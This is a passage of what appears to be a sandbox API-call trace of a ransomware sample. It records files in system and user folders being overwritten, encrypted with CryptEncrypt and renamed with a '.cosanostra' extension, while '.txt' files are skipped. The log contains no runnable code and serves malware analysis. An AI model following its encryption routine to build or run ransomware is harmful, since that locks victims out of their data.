lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.104] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5a4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df5a4*=0x2800, lpOverlapped=0x0) returned 1 [0096.104] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.104] WriteFile (in: hFile=0x180, lpBuffer=0x28df5e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5a4, lpOverlapped=0x0 | out: lpBuffer=0x28df5e4*, lpNumberOfBytesWritten=0x28df5a4*=0x4, lpOverlapped=0x0) returned 1 [0096.149] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5a4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5a4*=0x30, lpOverlapped=0x0) returned 1 [0096.149] CloseHandle (hObject=0x180) returned 1 [0096.149] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll.cosanostra") returned 88 [0096.149] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll.cosanostra")) returned 1 [0096.150] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5e0 | out: pbBuffer=0x28df5e0) returned 1 [0096.150] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5d8*=0x30) returned 1 [0096.150] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0096.151] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll") returned 74 [0096.151] StrStrW (lpFirst="PPINTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.153] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.153] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df59c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df59c*=0x2800, lpOverlapped=0x0) returned 1 [0096.153] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.153] WriteFile (in: hFile=0x180, lpBuffer=0x28df5dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df59c, lpOverlapped=0x0 | out: lpBuffer=0x28df5dc*, lpNumberOfBytesWritten=0x28df59c*=0x4, lpOverlapped=0x0) returned 1 [0096.183] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df59c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df59c*=0x30, lpOverlapped=0x0) returned 1 [0096.183] CloseHandle (hObject=0x180) returned 1 [0096.184] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll.cosanostra") returned 85 [0096.184] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll.cosanostra")) returned 1 [0096.184] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5e0 | out: pbBuffer=0x28df5e0) returned 1 [0096.184] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5d8*=0x30) returned 1 [0096.184] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0096.185] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll") returned 77 [0096.185] StrStrW (lpFirst="OUTLLIBR.REST.trx_dll", lpSrch=".txt") returned 0x0 [0096.756] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.757] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df59c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df59c*=0x2800, lpOverlapped=0x0) returned 1 [0096.781] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.794] WriteFile (in: hFile=0x180, lpBuffer=0x28df5dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df59c, lpOverlapped=0x0 | out: lpBuffer=0x28df5dc*, lpNumberOfBytesWritten=0x28df59c*=0x4, lpOverlapped=0x0) returned 1 [0096.833] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df59c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df59c*=0x30, lpOverlapped=0x0) returned 1 [0096.833] CloseHandle (hObject=0x180) returned 1 [0096.834] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll.cosanostra") returned 88 [0096.834] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll.cosanostra")) returned 1 [0096.836] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5d8 | out: pbBuffer=0x28df5d8) returned 1 [0096.836] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5d0*=0x30) returned 1 [0096.837] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlconfig.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0096.929] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned 60 [0096.929] StrStrW (lpFirst="ppcrlconfig.dll", lpSrch=".txt") returned 0x0 [0096.957] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.957] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df594, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df594*=0x2800, lpOverlapped=0x0) returned 1 [0096.958] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.958] WriteFile (in: hFile=0x160, lpBuffer=0x28df5d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df594, lpOverlapped=0x0 | out: lpBuffer=0x28df5d4*, lpNumberOfBytesWritten=0x28df594*=0x4, lpOverlapped=0x0) returned 1 [0096.994] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df594, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df594*=0x30, lpOverlapped=0x0) returned 1 [0096.994] CloseHandle (hObject=0x160) returned 1 [0096.994] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll.cosanostra") returned 71 [0096.994] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlconfig.dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlconfig.dll.cosanostra")) returned 1 [0096.995] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5d8 | out: pbBuffer=0x28df5d8) returned 1 [0096.995] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5d0*=0x30) returned 1 [0096.995] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.000] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W") returned 82 [0097.000] StrStrW (lpFirst="Help_MKWD_BestBet.H1W", lpSrch=".txt") returned 0x0 [0097.032] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.032] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df594, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df594*=0x2800, lpOverlapped=0x0) returned 1 [0097.032] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.032] WriteFile (in: hFile=0x160, lpBuffer=0x28df5d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df594, lpOverlapped=0x0 | out: lpBuffer=0x28df5d4*, lpNumberOfBytesWritten=0x28df594*=0x4, lpOverlapped=0x0) returned 1 [0097.040] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df594, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df594*=0x30, lpOverlapped=0x0) returned 1 [0097.040] CloseHandle (hObject=0x160) returned 1 [0097.040] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W.cosanostra") returned 93 [0097.040] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w.cosanostra")) returned 1 [0097.041] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5d0 | out: pbBuffer=0x28df5d0) returned 1 [0097.041] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5c8*=0x30) returned 1 [0097.041] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.041] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 70 [0097.041] StrStrW (lpFirst="AdbeRdrUpd10110_MUI.msp", lpSrch=".txt") returned 0x0 [0097.158] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.158] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df58c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df58c*=0x2800, lpOverlapped=0x0) returned 1 [0097.158] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.158] WriteFile (in: hFile=0x160, lpBuffer=0x28df5cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df58c, lpOverlapped=0x0 | out: lpBuffer=0x28df5cc*, lpNumberOfBytesWritten=0x28df58c*=0x4, lpOverlapped=0x0) returned 1 [0097.159] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df58c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df58c*=0x30, lpOverlapped=0x0) returned 1 [0097.159] CloseHandle (hObject=0x160) returned 1 [0097.159] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.cosanostra") returned 81 [0097.159] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.cosanostra" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp.cosanostra")) returned 1 [0097.160] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5d0 | out: pbBuffer=0x28df5d0) returned 1 [0097.160] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5c8*=0x30) returned 1 [0097.160] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\ExmElhT2gr0\\fzEe9wpTDChTxihlV.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\exmelht2gr0\\fzee9wptdchtxihlv.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.160] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\ExmElhT2gr0\\fzEe9wpTDChTxihlV.gif") returned 81 [0097.160] StrStrW (lpFirst="fzEe9wpTDChTxihlV.gif", lpSrch=".txt") returned 0x0 [0097.161] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.161] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df58c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df58c*=0x2800, lpOverlapped=0x0) returned 1 [0097.161] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.162] WriteFile (in: hFile=0x160, lpBuffer=0x28df5cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df58c, lpOverlapped=0x0 | out: lpBuffer=0x28df5cc*, lpNumberOfBytesWritten=0x28df58c*=0x4, lpOverlapped=0x0) returned 1 [0097.162] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df58c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df58c*=0x30, lpOverlapped=0x0) returned 1 [0097.162] CloseHandle (hObject=0x160) returned 1 [0097.523] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\ExmElhT2gr0\\fzEe9wpTDChTxihlV.gif.cosanostra") returned 92 [0097.524] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\ExmElhT2gr0\\fzEe9wpTDChTxihlV.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\exmelht2gr0\\fzee9wptdchtxihlv.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I6aN\\ExmElhT2gr0\\fzEe9wpTDChTxihlV.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i6an\\exmelht2gr0\\fzee9wptdchtxihlv.gif.cosanostra")) returned 1 [0097.688] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5c8 | out: pbBuffer=0x28df5c8) returned 1 [0097.688] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5c0*=0x30) returned 1 [0097.688] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\BCGF5W9t3r4RLv5Djt.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\bcgf5w9t3r4rlv5djt.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.688] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\BCGF5W9t3r4RLv5Djt.mp3") returned 110 [0097.688] StrStrW (lpFirst="BCGF5W9t3r4RLv5Djt.mp3", lpSrch=".txt") returned 0x0 [0097.691] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffe9d0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.691] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1630, lpNumberOfBytesWritten=0x28df584, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df584*=0x1630, lpOverlapped=0x0) returned 1 [0097.691] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.691] WriteFile (in: hFile=0x160, lpBuffer=0x28df5c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df584, lpOverlapped=0x0 | out: lpBuffer=0x28df5c4*, lpNumberOfBytesWritten=0x28df584*=0x4, lpOverlapped=0x0) returned 1 [0097.691] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df584, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df584*=0x30, lpOverlapped=0x0) returned 1 [0097.691] CloseHandle (hObject=0x160) returned 1 [0097.692] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\BCGF5W9t3r4RLv5Djt.mp3.cosanostra") returned 121 [0097.692] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\BCGF5W9t3r4RLv5Djt.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\bcgf5w9t3r4rlv5djt.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\BCGF5W9t3r4RLv5Djt.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\bcgf5w9t3r4rlv5djt.mp3.cosanostra")) returned 1 [0097.768] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5c8 | out: pbBuffer=0x28df5c8) returned 1 [0097.768] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5c0*=0x30) returned 1 [0097.768] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\rzGT.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\it7trn_f6_higimhgs\\rzgt.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.768] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\rzGT.m4a") returned 67 [0097.768] StrStrW (lpFirst="rzGT.m4a", lpSrch=".txt") returned 0x0 [0097.769] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.769] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df584, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df584*=0x2800, lpOverlapped=0x0) returned 1 [0097.769] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.770] WriteFile (in: hFile=0x160, lpBuffer=0x28df5c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df584, lpOverlapped=0x0 | out: lpBuffer=0x28df5c4*, lpNumberOfBytesWritten=0x28df584*=0x4, lpOverlapped=0x0) returned 1 [0097.770] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df584, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df584*=0x30, lpOverlapped=0x0) returned 1 [0097.770] CloseHandle (hObject=0x160) returned 1 [0097.787] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\rzGT.m4a.cosanostra") returned 78 [0097.787] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\rzGT.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\it7trn_f6_higimhgs\\rzgt.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\IT7trN_f6_HiGiMHGs\\rzGT.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\it7trn_f6_higimhgs\\rzgt.m4a.cosanostra")) returned 1 [0097.788] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5c0 | out: pbBuffer=0x28df5c0) returned 1 [0097.788] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5b8*=0x30) returned 1 [0097.788] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2eqA6Vdwxd8gIow.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2eqa6vdwxd8giow.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 